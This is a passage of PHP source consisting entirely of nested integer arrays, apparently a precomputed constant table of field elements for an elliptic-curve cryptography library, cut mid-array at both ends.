-5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953), array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218), array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265), ), array( array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073), array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325), array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798), ), array( array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870), array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863), array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927), ), ), array( array( array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267), array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663), array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862), ), array( array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673), array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943), array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020), ), array( array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238), array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064), array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795), ), array( array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052), array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904), array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531), ), array( array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979), array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841), array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431), ), array( array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324), array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940), array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320), ), array( array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184), array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114), array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878), ), array( array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784), array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091), array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585), ), ), array( array( array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208), array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864), array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661), ), array( array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233), array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212), array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525), ), array( array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068), array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397), array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988), ), array( array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889), array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038), array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697), ), array( array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875), array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905), array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656), ), array( array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818), array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714), array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203), ), array( array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931), array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024), array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084), ), array( array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204), array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817), array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667), ), ), array( array( array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504), array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768), array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255), ), array( array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790), array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438), array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333), ), array( array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971), array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905), array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409), ), array( array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409), array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499), array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363), ), array( array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664), array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324), array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940), ), array( array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990), array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914), array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290), ), array( array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257), array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433), array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236), ), array( array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045), array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093), array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347), ), ), array( array( array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191), array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507), array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906), ), array( array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018), array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109), array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926), ), array( array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528), array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625), array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286), ), array( array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033), array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866), array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896), ), array( array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075), array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347), array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437), ), array( array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165), array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588), array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193), ), array( array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017), array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883), array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961), ), array( array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043), array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663), array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362), ), ), array( array( array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860), array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466), array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063), ), array( array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997), array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295), array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369), ), array( array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385), array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109), array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906), ), array( array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424), array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185), array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962), ), array( array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325), array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593), array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404), ), array( array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644), array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801), array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804), ), array( array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884), array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577), array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849), ), array( array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473), array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644), array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319), ), ), array( array( array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599), array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768), array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084), ), array( array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328), array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369), array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920), ), array( array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815), array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025), array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397), ), array( array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448), array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981), array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165), ), array( array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501), array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073), array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861), ), array( array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845), array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211), array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870), ), array( array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096), array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803), array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168), ), array( array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965), array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505), array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598), ), ), array( array( array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782), array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900), array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479), ), array( array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208), array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232), array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719), ), array( array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271), array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326), array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132), ), array( array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300), array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570), array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670), ), array( array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994), array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913), array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317), ), array( array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730), array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096), array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078), ), array( array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411), array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905), array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654), ), array( array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870), array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498), array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579), ), ), array( array( array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677), array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647), array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743), ), array( array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468), array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375), array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155), ), array( array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725), array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612), array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943), ), array( array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944), array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928), array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406), ), array( array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139), array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963), array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693), ), array( array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734), array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680), array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410), ), array( array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931), array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654), array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710), ), array( array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180), array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684), array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895), ), ), array( array( array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501), array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413), array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880), ), array( array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874), array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962), array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899), ), array( array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152), array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063), array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080), ), array( array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146), array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183), array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133), ), array( array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421), array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622), array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197), ), array( array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663), array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753), array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755), ), array( array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862), array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118), array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171), ), array( array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380), array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824), array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270), ), ), array( array( array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438), array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584), array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562), ), array( array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471), array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610), array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269), ), array( array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650), array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369), array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461), ), array( array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462), array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793), array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218), ), array( array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226), array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019), array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037), ), array( array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171), array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132), array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841), ), array( array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181), array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210), array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040), ), array( array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935), array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105), array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814), ), ), array( array( array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852), array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581), array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646), ), array( array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844), array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025), array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453), ), array( array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068), array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192), array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921), ), array( array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259), array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426), array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072), ), array( array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305), array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832), array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943), ), array( array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011), array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447), array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494), ), array( array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245), array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859), array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915), ), array( array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707), array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848), array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224), ), ), array( array( array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391), array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215), array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101), ), array( array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713), array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849), array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930), ), array( array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940), array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031), array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404), ), array( array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243), array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116), array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525), ), array( array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, 